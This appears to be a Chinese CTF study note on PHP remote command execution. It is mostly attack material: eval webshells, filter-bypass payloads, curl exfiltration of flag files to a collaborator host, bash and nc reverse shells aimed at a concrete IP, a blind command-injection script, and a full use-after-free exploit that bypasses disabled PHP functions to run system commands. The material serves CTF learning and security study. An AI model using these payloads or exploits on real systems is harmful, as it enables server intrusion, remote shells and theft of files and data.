RCE(命令执行)
危险函数
eval并非PHP函数,放在disable_functions中是无法禁用的,若要禁用需要用到PHP的扩展Suhosin
assert() //判断一个表达式是否成立。返回true or false;
preg_replace() //函数是用来执行一个正则表达式的搜索和替换的 preg_replace(要搜索的字符串,用于替换的字符串,要搜索替换的字符串)
eval()
将输入的字符串参数当做PHP程序代码来执行
如果我们通过<?=`ls`;去执行的话需要在前面添加?>进行截断
也可以直接调用函数
call_user_func()
以动态方式调用一个函数,并将一个数组作为参数列表传递给该函数
调用函数:
<?php
function test($test1,$test2) {
return $test1 . $test2;
}
echo call_user_func('test', 'a', 'b'); // 输出结果为ab
第一个参数是要调用的函数名或者回调函数,可以是一个字符串(表示函数名),也可以是一个数组(表示对象方法或类静态方法)
第二个参数是一个数组,包含要传递给函数的参数列表
调用一个类里的方法:
ctfshow web137,138
<?php
class myclass {
static function say_hello()
{
echo "Hello!\n";
}
}
$classname = "myclass";
call_user_func(array($classname, 'say_hello')); // 数组调用类的方法
call_user_func($classname .'::say_hello'); // 直接调用
$myobject = new myclass();
call_user_func(array($myobject, 'say_hello')); //先实例化后调用
?>
命令执行:
call_user_func(array(system, 'ls /'));
call_user_func(array(assert, eval($_POST[1]))); // 回调后门,带到post请求里进行任意命令执行
call_user_func_array()
把第一个参数作为回调函数进行调用,第二个参数传入数组,将数组中的值作为回调函数的参数
function a($b, $c) { echo $b; echo $c; } call_user_func_array('a', array("111", "222")); //输出 111 222
create_function()
该函数用来创建匿名函数,并为其返回唯一名称(PHP4,PHP5,PHP7)
ctfshow web147
create_function(string $args,string $code)
//string $args 声明的函数变量部分(不声明的话就是无参函数)
//string $code 执行的方法代码部分
以下面这段代码为例:
<?php
$id=$_GET['id'];
$code = 'echo $name. '.'的编号是'.$id.'; ';
$b = create_function('$name',$code);
create_function
的操作会产生一个新的匿名函数
// 实现
function __lambda_func($name){
echo $name."编号".$id;
}
$b('C1oudfL0w0');
而我们可以通过;}
提前闭合这个匿名函数,然后执行我们的命令,最后用/*
把后面的内容注释掉
payload:
?id=2;}phpinfo();/*
此时函数为:
function __lambda_func($name){
echo $name.编号2;
}phpinfo();/*
}
然后就能执行phpinfo
array_map()
array_map(引用的函数名称,数组1,可选的数组2)
function myfunction($v1){ function oneArray($v) { if ($v == 'two') { return "this is two"; } return $v; } $one_array = ['one','two','three']; print_r(array_map('oneArray', $one_array));
Linux指令
ls:查看目录
- -lst 查看目录下文件权限
whoami:返回系统当前用户名
pwd:显示当前目录
source命令(.)
重新执行刚修改的初始化文件,使之立即生效,而不必注销并重新登录。因为linux所有的操作都会变成文件的格式存在。
source filename # filename必须是可执行的脚本文件 或者 . filename # 注意“.”号后面还有一个空格
文件管理
cat
连接文件并打印到标准输出设备上
读取文件内容,结果不会直接返还,需要查看网页源代码
tac/head/tail/more/less/nl……:等同于cat
uniq
检查及删除**文本文件(txt)**中重复出现的行列,一般与 sort 命令结合使用
同样可以输出文件内容
tee
读取标准输入的数据,并将其内容输出成文件
command | tee file.txt
mv
为文件或目录改名、或将文件或目录移入其它位置
命令格式 运行结果 mv source_file(文件) dest_file(文件)
将源文件名 source_file 改为目标文件名 dest_file mv source_file(文件) dest_directory(目录)
将文件 source_file 移动到目标目录 dest_directory 中 mv source_directory(目录) dest_directory(目录)
目录名 dest_directory 已存在,将 source_directory 移动到目录名 dest_directory 中;目录名 dest_directory 不存在则 source_directory 改名为目录名 dest_directory mv source_directory(目录) dest_file(文件)
出错
Glob通配符
*
:匹配零个或者多个字符
?
:匹配一个字符
[]
:匹配指定集合中的任意单个字符,比如[abc]
表示匹配单个字符a或者b或者c
{a,b}
:匹配a或者b,a与b也是通配符,可以由其他通配符组成
!
:表示非,比如!1.txt
表示排除文件1.txt
[0-9]
:匹配单个数字
[[:upper:]]
:匹配任意单个大写字母
[[:lower:]]
:匹配任意单个小写字母
[[:digit:]]
:匹配任意单个数字,等价于[0-9]
[[:alpha:]]
:匹配任意单个字母,包括大写字母与小写字母
[[:alnum:]]
:匹配任意单个字母与数字
[[:space:]]
:匹配单个空白字符
[[:punctl:]]
:匹配单个标点符号
[^]
:匹配指定集合之外的其他任意单个字符,比如[^abc]
表示匹配除了a、b、c以外的其他任意字符
系统命令
使用system
前先查看phpinfo
中的disabled_functions禁用的函数
system()
直接在终端打印返回结果,成功则返回命令输出的最后一行,失败则返回FALSE
passthru()
执行外部程序并且显示原始输出,只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上
<?php passthru("ls"); ?> 执行结果:index.phptest.php
exec()
执行一个外部程序,命令执行结果的最后一行内容
<?php echo exec("ls",$output); echo "</br>"; print_r($output); ?> //$output:数组格式,用于存储输出的信息 执行结果: test.php Array( [0] => index.php [1] => test.php)
pcntl_exec()
在当前进程空间执行指定程序
shell_exec()
命令执行的输出。如果执行过程中发生错误或者进程不产生输出,则返回NULL。
$result = shell_exec($cmd); $cmd:shell脚本 $result:shell脚本的执行结果
popen()
不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行`
<?php popen( 'whoami >> c:/1.txt', 'r' ); ?> <?php $test = "ls /tmp/test"; $fp = popen($test,"r"); //popen打一个进程通道 while (!feof($fp)) { //从通道里面取得东西 $out = fgets($fp, 4096); echo $out; //打印出来 } pclose($fp); ?>
反引号``:命令执行,内联执行,`ls`输出查询结果的内容
与shell_exec功能相同,执行shell命令并返回输出的字符串
ob_start()
:打开缓冲区,开始输出缓冲, 这时PHP停止输出, 在这以后的输出都被转到一个内部的缓冲里
>
重定向符
echo “123” > /home/123.txt
>/dev/null 2>&1
写入的内容会永远消失,也就是不进行回显,需用
;
号或者||
等等一些命令分隔符进行命令分隔/dev/null
将标准输出1重定向到/dev/null中。 /dev/null代表linux的空设备文件,所有往这个文件里面写入的内容都会丢失,俗称“黑洞”。那么执行了>/dev/null之后,标准输出就会不再存在,没有任何地方能够找到输出的内容
2>&1
2> 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
1 表示stdout标准输出,系统默认值是1,所以”>/dev/null”等同于 “1>/dev/null”
&:按位与
&&:逻辑与
|:按位或,直接执行下一条语句
||:逻辑或
;:在 shell 中,是”连续指令”,执行下一条语句
scandir(‘/‘):列出指定路径中的文件和目录
file_get_contents(‘/flag’):读取文件
find:查找与指定参数条件匹配的文件及目录列表
- -name:按文件名称查找
绕过被过滤的字符
关键字绕过
下划线:“+”或“[”或“ ”或“.”
空格(\x09):$IFS$9 、${IFS}(适用于linux命令下) 、%09(php环境下)、重定向符<>、<、\x20
分号:%0a
/:chr(47)
*号:先获取目标文件名称,然后通过?通配符
匹配单个字母,也就是fla?????匹配flag.php(使用<
时不能使用?
匹配)
使用fla’’g.php
参数带外
?c=eval($_GET[1]);&1=system("tac%20flag.php");
文件包含带外
eval(include;$_GET[a]?>)&a=伪协议
拼接绕过
a=l;b=s;$a$b
a=c;b=at;c=f;d=lag;$a$b ${c}${d}
a=“ccaatt”;b=${a:0:1}${a:2:1}${a:4:1};$b test
单引号双引号绕过
c'a't test
c"a"t test
反斜杠绕过
ca\t flag
编码绕过
base64
echo Y2F0IC9mbGFn|base64 -d|bash ==>cat /flag
echo Y2F0IC9mbGFn|base64 -d|sh==>cat /flag
echo Y2F0IGZsYWcucGhw|base64 -d|bash==>cat flag.php
echo Y2F0IGZsYWcucGhw|base64 -d|sh==>cat flag.php
hex
echo "0x636174202f666c6167" | xxd -r -p|bash ==>cat /flag
oct/字节
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
${printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
一句话木马
内容为
<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
绕过preg_replace
preg_replace("/system/",'',$a);
双写system即可实现绕过
无字母数字rce
原型:对以下代码的绕过
<?php
if(!preg_match('/[A-Za-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
或
if(preg_match('/^\W+$/', $v3))
可以直接看p神的博客:
一些不包含数字和字母的webshell:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
无字母数字webshell之提高篇:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
取反(PHP>7)
<?php
highlight_file(__FILE__);
$code1="system";
$code2="cat /f*";
echo "<br>";
echo "?wllm=(~".urlencode(~$code1).")(~".urlencode(~$code2).");";
?>
$(())
$((~$(())))=-1
${_} =""返回上一次命令
异或
一代脚本:
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
answer = str(input(""))#请输入进行异或构造的字符串
tmp1, tmp2 = '', ''
for c in answer:
for i in valid:
for j in valid:
if (ord(i) ^ ord(j) == ord(c)):
tmp1 += i
tmp2 += j
break
else:
continue
break
print("tmp1为:",tmp1)
print("tmp2为:",tmp2)
二代脚本:
先生成可用的字符集
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=33; $i < 126; $i++) {
for ($j=33; $j <126; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
} else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
} else{
$hex_j=dechex($j);
}
$preg = '/[a-z,A-Z,0-9>\?\'\"]/i'; // 根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))) {
echo "";
} else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
再生成异或字符串
import urllib.parse
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("rce_or.txt", "r")
k = f.readlines()
for t in k:
if t == "":
break
if t[0] == i:
s1 += urllib.parse.unquote(t[2:5])
s2 += urllib.parse.unquote(t[6:9])
break
f.close()
output = "\'" + s1 + "\'^\'" + s2 + "\'\n"
return output
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
print(param)
自增
最终我们要把参数带出来,即构造$_GET
或$_POST
(传入时记得url编码)
$_++=1
$_++
对_
变量进行了自增操作,由于我们没有定义_
的值,PHP会给_
赋一个默认值NULL==0,
由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字
注:linux命令下不能构造
($__++)+($__++)+($__++)+($__++)+($__++)+($__++)+($__++)+($__++)+($__++)
类似语句获取数字在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为”Array”
实战一般会用
_/_._
获取NAN_
快速获取$_POST
"A"++ ==> "B" "B"++ ==> "C" 如果我们能够得到"A",那么我们就能通过自增自减,得到所有的字母 $_=[].''; //得到"Array" $___ = $_[$__]; //得到"A",$__没有定义,默认为False也即0,此时$___="A" $_=_/_._; // 得到"NAN_" $_=(_/_._)[0]; //得到"N"
以Array为例拼出$_GET
:(用到chr函数)长度120
<?php
error_reporting(0);
$_=[].''; // Array
$__=$_[1]; // r
$_=$_[3]; // a
$___=++$_;$___++; // c
$_++;$_++;$_++;$_++;$_++;$_++; // h
$__=$___.$_.$__; // chr
$_=_.$__(71).$__(69).$__(84); // _GET
$$_{1};
精简为一句话版:
$___=[];$_=$___[3];$_++;$_++;$__=$_++;$_++;$_++;$_++;$__.=++$_.$___[2];$_=_.$__(71).$__(69).$__(84);($$_{1})($$_{2});
以NAN为例拼出$_POST
:
<?php
error_reporting(0);
$NAN = _ / _ . _; // NAN_
$N = $NAN[0]; // N
$O = ++$N; // O
$PO = ++$N . $O; // PO
$N++; // Q
$N++; // R
$S = ++$N; // S
$T = ++$N; // T
$POST = _ . $PO . $S . $T; // _POST
echo $POST;
简化一下然后换变量名
<?php
$_ = (_ / _ . _)[0]; // N
$__ = ++$_; // O
$___ = ++$_ . $__; // PO
$_++; //Q
$_++; //R
$____ = ++$_;
$_____ = ++$_;
$POST = _ . $___ . $____ . $_____; // _POST
缩成一句话,长110
$_=(_/_._)[0];$__=++$_;$___=++$_.$__;$_++;$_++;$____=++$_;$_____=++$_;$______=_.$___.$____.$_____;$$______{1};
更短的参考极限RCE
参数带出来之后建议写马
1=file_put_contents('1.php','<?php @eval($_POST["cmd"]); ?>')`
临时文件
$
和_
均被过滤的情况(P神文章)
使用bin下的base64命令
?c=/???/????64 ????????
临时文件目录:
Linux临时文件主要存储在/tmp/目录下,格式通常是(/tmp/php[6个随机字符])
Windows临时文件主要存储在C:/Windows/目录下,格式通常是(C:/Windows/php[4个随机字符].tmp)
大概就是在自己的vps上写一个命令执行的txt,然后在题目post该命令
PHP5
要点:
- shell下可以利用
.
来执行任意脚本 - Linux文件名支持用glob通配符代替
- shell下可以利用
思路:
通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
注意:通过.去执行sh命令不需要有执行权限操作:
本地服务器构造POST上传文件数据包
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="http://7f21b48d-249b-4f0e-8c3e-5be2fae43b59.challenge.ctf.show/" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
抓包构造执行命令,在上传文件内容添加sh命令
?c=.+/???/????????[@-[](通配符匹配大写字母)
文件内容 #!/bin/sh ls
无回显rce
exec
等无回显的命令执行
dnslog带外
利用burp中的Collaborator Client
使用curl指令进行带外
curl -X POST -F xx=@flag.php http://k9u5p3u5hn9tl61hux77y81ad1jt7i.oastify.com
写入文件并下载
ctfshow web136
把命令执行的结果写文件然后访问下载文件
ls / | tee 1
这样可以把ls /
的结果输出写入1文件,然后就可以访问并下载
盲注
脚本by Kradress
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests
import time as t
from urllib.parse import quote as urlen
url = 'http://1c288549-6ed6-481e-9941-073a0889da5d.challenge.ctf.show/?c='
alphabet = ['{','}', '.','/','@','-','_','=','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']
result = ''
for i in range(1,100):
for char in alphabet:
payload = "if [ ` ls / | awk 'NR==4' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char) #flag.php
# payload = "if [ `cat /f149_15_h3r3 | awk 'NR==1' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char)
# data = {'cmd':payload}
try:
start = int(t.time())
r = requests.get(url+payload)
# r = requests.post(url, data=data)
end = int(t.time()) - start
# print(i,char)
if end >= 3:
result += char
print("Flag: "+result)
break
except Exception as e:
print(e)
payload部分:
ls /
:列出/
目录下的所有文件和目录。awk 'NR==4'
:选取输出结果中的第四行(前三个文件一般都是bin dev etc)cut -c{}
:选取该行中的第i
个字符。=
:比较该字符是否等于当前字符。sleep 5
:如果比较成功,则等待 5 秒钟。
写马
echo "<?php eval($_POST['cmd']);?>" > shell.php
反弹shell
参考文章:
在线生成反弹shell命令:https://www.ddosi.org/shell/
常用:
bash -c "bash -i >& /dev/tcp/115.236.153.170/57746 0>&1"
nc 115.236.153.170 57746 -e sh
无参rce
依靠传入没有参数的函数套娃就可以达到命令执行的效果
核心
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
php函数直接读取文件
payload例
highlight_file(next(array_reverse(scandir(current(localeconv())))));
localeconv()函数
返回一包含本地数字及货币格式信息的数组
第一个返回的是点,可利用的点就是代表当前目录,可以结合其他函数进行目录扫描
scandir()函数
目录扫描
scandir(current(localeconv())) 查看当前目录
chdir()函数
跳目录
向上跳就要构造chdir(‘…’)
array_reverse()函数
将整个数组倒过来,有的时候当我们想读的文件比较靠后时,就可以用这个函数把它倒过来,就可以少用几个next()
highlight_file()/show_source()函数
打印输出或者返回 filename 文件中语法高亮版本的代码,相当于就是用来读取文件的
被过滤时:print(file_get_contents())
reset()函数
表示内部指针指向数组的第一个元素并输出
next()函数
表示内部指针指向数组的下一个元素,并输出
打印时flag被包含可加上
base64_encode()
使用session_start()+session_id()读取文件
php<7
?code=show_source(session_id(session_start()));
Cookie: PHPSESSID=index.php
通过dirname()实现任意文件读取
使用它对目录进行执行的话就会返回上级目录
var_dump(scandir(getcwd()));
var_dump(scandir(dirname(dirname(dirname(getcwd())))));
使用getallheaders()函数进行命令执行
getallheaders()函数可以获取所有的HTTP标头
由于包的请求头信息可控,如果能够执行我们指定的请求头内容,就能实现代码执行
利用函数指向我们需要的请求头元素,用eval在对应的请求头元素进行命令执行即可
比如:
GET /?star=eval(next(getallheaders())); HTTP/1.1
Host: test:70
User-Agent: system('cat /flag');
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
此时UA头是getallheaders()返回的数组的第二个元素,利用next指向它,用eval进行命令执行即可
使用get_defined_vars()
返回由所有已定义变量所组成的数组,会按顺序返回
$_GET
,$_POST
,$_COOKIE
,$_FILES
示例:
GET:?code=eval(array_pop(next(get_defined_vars())));
POST:1=system('ls');
突破禁用函数
system() has been disabled for security reasons说明php.ini配置中默认禁用了执行系统外部命令函数,我们可以用php内置函数来读取文件
输出打印:
print_r();
var_dump();
var_export();
查看目录:
scandir('.') //查看当前目录
glob('*')
scandir('/') //查看根目录
?><?php
$it = new DirectoryIterator($_GET['file']);
foreach($it as $f) {
printf("%s", $f->getFilename());
echo'</br>';
}
?>
?> //闭合前面语句
查询根目录用 ?file=glob:///*
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo($f->__toString().' ');
}exit();
查找匹配的文件路径模式
读取文件:
show_source();
highlight_file();
file_get_contents();
include();
require();
当前目录直接读取
根目录下前面加/
利用php的垃圾回收的漏洞实现绕过安全目录
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
先连接默认数据库
information_schema
达到命令执行的目录,只需要猜解出mysql的用户名和密码即可,以此获取数据库名
$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
echo($row[0])."|";
}exit();
然后使用
load_file
函数读取信息
try {$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root','root');
foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}
catch (PDOException $e) {echo $e->getMessage();exit(0);
}
exit(0);
//information_schema改成要读取的数据库名
PHP>=7.4
public static FFI::cdef(string $code = "", ?string $lib = null): FFI
其中$code为一个字符串,包含常规C语言中的一系列声明,
$lib为要加载和链接的共享库文件名称,
如果省略lib,则平台将会尝试在全局范围内查找代码中声明的符号,其他系统将无法解析这些符号。
- Payload
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的,需要访问1.txt
$ffi->system($a);//通过$ffi去调用system函数
ob_代码应对
ob_get_contents();//返回输出缓冲区的内容
ob_end_clean();//清空(擦除)缓冲区并关闭输出缓冲
绕过方法:
执行完我们传入的代码然后直接结束程序不执行后面的代码
die(); exit(0);
系统环境变量构造命令
利用环境变量取字母进行拼接构造命令(可用通配符)
一般构造/bin/(读取命令或base64) flag.php
环境变量(以靶机为例)
env
可查看所有环境变量
set
可查看本地定义的环境变量
PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD:/var/www/html
USER:www-data
HOME:当前用户的主目录
SHLVL:记录多个 Bash 进程实例嵌套深度的累加器,默认恒为1
PHP_VERSION:以7.3.22为例
**$?**:是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误
此处防止渲染失败使用了tab分隔,不过直接复制也不影响命令执行
${PATH:~0}或${PATH:~A}
获取字符n(0和字母都代表从最后面数)
${PWD:~0}
获取字符l
${PWD:0}
/var/www/html
${PWD:1}
var/www/html
${PWD:2:4}(第三位是长度)
ar/w
${ # }
获取数字0
${ #SHLVL }或${ ## }或${ #? }
获取数字1
${ PHP_VERSION:~A }
从7.3.22中获取数字2
${ #IFS }=3
linux下是3,mac里是4
${ #RANDOM }
获取4或5
${HOME:${ # }:${ ## }}或${PWD::${ #SHLVL }}
获取/
${USER:~A}
获取a
${HOME:${ #HOSTNAME }:${ #SHLVL }}
获取t
${PWD:${#IFS }:${ #? }}
获取r
构造/bin/rev逆序读取文件
过滤#时
<A;${ HOME::$? }???${ HOME::$? }?????${ RANDOM::$? } ????.???
(让前面报错得到1) /bin/base64
利用数学函数构造命令执行
原理:利用base_convert()函数的进制转换构造字符串
base_convert() 函数在任意进制之间转换数字。(不能转换除数字外的字符)
语法
base_convert(number,frombase,tobase);
参数 | 描述 |
---|---|
number | 必需。规定要转换的数。 |
frombase | 必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。 |
tobase | 必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。 |
技术细节 | 返回值:number 转换为指定进制。 |
返回类型:String | |
PHP 版本:4+ |
eg:
<?php
echo base_convert('phpinfo',36,10);
#55490343972
?>
<?php
echo base_convert(55490343972,10,36);
#phpinfo
?>
getallheaders()函数
因为数学函数无法构造非数字字符,所以这里采用此函数
获取全部 HTTP 请求头信息
(PHP 4, PHP 5, PHP 7)
base_convert(8768397090111664438,10,30);//使用30进制防止丢精度
getallheaders(void): array
返回包含当前请求所有头信息的数组,失败返回FALSE。
运用方法类似于一句话木马
system('getallheaders'(){1})
在请求头中写入命令
1:xxx
7字符长度限制
<?php
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>
参考:https://www.leavesongs.com/SHARE/some-tricks-from-my-secret-group.html